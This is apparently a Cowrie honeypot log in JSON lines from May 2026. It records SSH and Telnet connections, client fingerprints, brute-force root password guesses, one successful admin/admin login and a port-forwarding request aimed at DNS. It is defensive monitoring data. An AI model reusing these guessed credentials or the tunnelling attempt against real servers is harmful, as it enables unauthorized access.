{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":36044,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d2cef4911ba","protocol":"ssh","message":"New connection: 103.82.132.16:36044 (159.203.135.109:22) [session: 5d2cef4911ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:43.645592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:43.649116Z","src_ip":"103.82.132.16","session":"5d2cef4911ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:43.907570Z","src_ip":"103.82.132.16","session":"5d2cef4911ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samsung123","message":"login attempt [root/samsung123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:44.684422Z","src_ip":"103.82.132.16","session":"5d2cef4911ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42250,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b8fb81bda67","protocol":"telnet","message":"New connection: 152.42.224.71:42250 (10.17.0.5:23) [session: 9b8fb81bda67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:45.072108Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:45.949958Z","src_ip":"103.82.132.16","session":"5d2cef4911ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.66349530220032,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:46.410991Z","src_ip":"152.42.224.71","session":"f88a3a4a670a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.297653913497925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:47.389111Z","src_ip":"152.42.224.71","session":"86b936dfaf03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40658,"dst_ip":"10.17.0.5","dst_port":23,"session":"552a58530f36","protocol":"telnet","message":"New connection: 152.42.224.71:40658 (10.17.0.5:23) [session: 552a58530f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:50.726539Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40668,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1e05a7bfae1","protocol":"telnet","message":"New connection: 152.42.224.71:40668 (10.17.0.5:23) [session: a1e05a7bfae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:52.064475Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40680,"dst_ip":"10.17.0.5","dst_port":23,"session":"735e7ef21cfe","protocol":"telnet","message":"New connection: 152.42.224.71:40680 (10.17.0.5:23) [session: 735e7ef21cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:53.078146Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40686,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae0cf7e50a62","protocol":"telnet","message":"New connection: 152.42.224.71:40686 (10.17.0.5:23) [session: ae0cf7e50a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:54.257203Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52418,"dst_ip":"10.17.0.5","dst_port":23,"session":"08a0629e15cf","protocol":"telnet","message":"New connection: 152.42.224.71:52418 (10.17.0.5:23) [session: 08a0629e15cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:56.109391Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.146.140.125","src_port":1490,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b6b2ab9e21d","protocol":"telnet","message":"New connection: 1.146.140.125:1490 (10.17.0.5:23) [session: 0b6b2ab9e21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:06:58.206249Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52428,"dst_ip":"10.17.0.5","dst_port":23,"session":"06baa52cc324","protocol":"telnet","message":"New connection: 152.42.224.71:52428 (10.17.0.5:23) [session: 06baa52cc324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:01.405690Z"}
{"eventid":"cowrie.session.closed","duration":9.253381252288818,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:02.331429Z","src_ip":"152.42.224.71","session":"735e7ef21cfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52436,"dst_ip":"10.17.0.5","dst_port":23,"session":"95b9a62192c4","protocol":"telnet","message":"New connection: 152.42.224.71:52436 (10.17.0.5:23) [session: 95b9a62192c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:03.613461Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52440,"dst_ip":"10.17.0.5","dst_port":23,"session":"c170881bb1ce","protocol":"telnet","message":"New connection: 152.42.224.71:52440 (10.17.0.5:23) [session: c170881bb1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:04.016425Z"}
{"eventid":"cowrie.session.closed","duration":26.371623277664185,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:04.255626Z","src_ip":"152.42.224.71","session":"48ba54f50c5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41022,"dst_ip":"10.17.0.5","dst_port":23,"session":"e860fa8386e4","protocol":"telnet","message":"New connection: 152.42.224.71:41022 (10.17.0.5:23) [session: e860fa8386e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:08.526352Z"}
{"eventid":"cowrie.session.closed","duration":84.55206727981567,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:10.687896Z","src_ip":"152.42.224.71","session":"39571a3ffb0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.241477012634277,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:11.447603Z","src_ip":"1.146.140.125","session":"0b6b2ab9e21d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41028,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5fc2bf0dbcf","protocol":"telnet","message":"New connection: 152.42.224.71:41028 (10.17.0.5:23) [session: b5fc2bf0dbcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:11.521605Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":40794,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bf2979207d0","protocol":"ssh","message":"New connection: 87.251.64.176:40794 (10.17.0.5:22) [session: 2bf2979207d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:13.701641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:13.706593Z","src_ip":"87.251.64.176","session":"2bf2979207d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:13.806564Z","src_ip":"87.251.64.176","session":"2bf2979207d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:14.099010Z","src_ip":"87.251.64.176","session":"2bf2979207d0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:14.198754Z","session":"2bf2979207d0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:14.297894Z","src_ip":"87.251.64.176","session":"2bf2979207d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:14.396965Z","src_ip":"87.251.64.176","session":"2bf2979207d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38612,"dst_ip":"10.17.0.5","dst_port":23,"session":"da86245c5ca4","protocol":"telnet","message":"New connection: 152.42.224.71:38612 (10.17.0.5:23) [session: da86245c5ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:17.247524Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38624,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f49abddea25","protocol":"telnet","message":"New connection: 152.42.224.71:38624 (10.17.0.5:23) [session: 9f49abddea25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:19.393977Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38630,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa5483f76339","protocol":"telnet","message":"New connection: 152.42.224.71:38630 (10.17.0.5:23) [session: fa5483f76339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:22.527117Z"}
{"eventid":"cowrie.session.closed","duration":38.21517872810364,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:23.287154Z","src_ip":"152.42.224.71","session":"9b8fb81bda67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":33446,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a6acad94824","protocol":"ssh","message":"New connection: 103.122.221.179:33446 (159.203.135.109:22) [session: 7a6acad94824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:24.517694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:24.523093Z","src_ip":"103.122.221.179","session":"7a6acad94824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:24.783875Z","src_ip":"103.122.221.179","session":"7a6acad94824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pavlik","message":"login attempt [root/pavlik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:25.554192Z","src_ip":"103.122.221.179","session":"7a6acad94824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.637979984283447,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:25.654262Z","src_ip":"152.42.224.71","session":"c170881bb1ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":38880,"dst_ip":"159.203.135.109","dst_port":22,"session":"9736ad99c98e","protocol":"ssh","message":"New connection: 43.134.228.151:38880 (159.203.135.109:22) [session: 9736ad99c98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:26.016112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:26.021254Z","src_ip":"43.134.228.151","session":"9736ad99c98e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:26.267354Z","src_ip":"43.134.228.151","session":"9736ad99c98e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:26.812957Z","src_ip":"103.122.221.179","session":"7a6acad94824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jer123","message":"login attempt [root/jer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:27.281742Z","src_ip":"43.134.228.151","session":"9736ad99c98e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36240,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe45f8af822c","protocol":"telnet","message":"New connection: 152.42.224.71:36240 (10.17.0.5:23) [session: fe45f8af822c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:28.050591Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:28.531065Z","src_ip":"43.134.228.151","session":"9736ad99c98e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.9898042678833,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:29.246797Z","src_ip":"152.42.224.71","session":"ae0cf7e50a62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.962405920028687,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:31.575685Z","src_ip":"152.42.224.71","session":"95b9a62192c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36250,"dst_ip":"10.17.0.5","dst_port":23,"session":"32b8470822b2","protocol":"telnet","message":"New connection: 152.42.224.71:36250 (10.17.0.5:23) [session: 32b8470822b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:33.909663Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":5241,"dst_ip":"159.203.135.109","dst_port":22,"session":"95fe3bfc30f2","protocol":"ssh","message":"New connection: 182.217.16.126:5241 (159.203.135.109:22) [session: 95fe3bfc30f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:34.551598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:34.560347Z","src_ip":"182.217.16.126","session":"95fe3bfc30f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:34.770562Z","src_ip":"182.217.16.126","session":"95fe3bfc30f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www123456","message":"login attempt [root/www123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:35.622450Z","src_ip":"182.217.16.126","session":"95fe3bfc30f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:36.842516Z","src_ip":"182.217.16.126","session":"95fe3bfc30f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41534,"dst_ip":"10.17.0.5","dst_port":23,"session":"67baa5b1100b","protocol":"telnet","message":"New connection: 152.42.224.71:41534 (10.17.0.5:23) [session: 67baa5b1100b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:07:39.824881Z"}
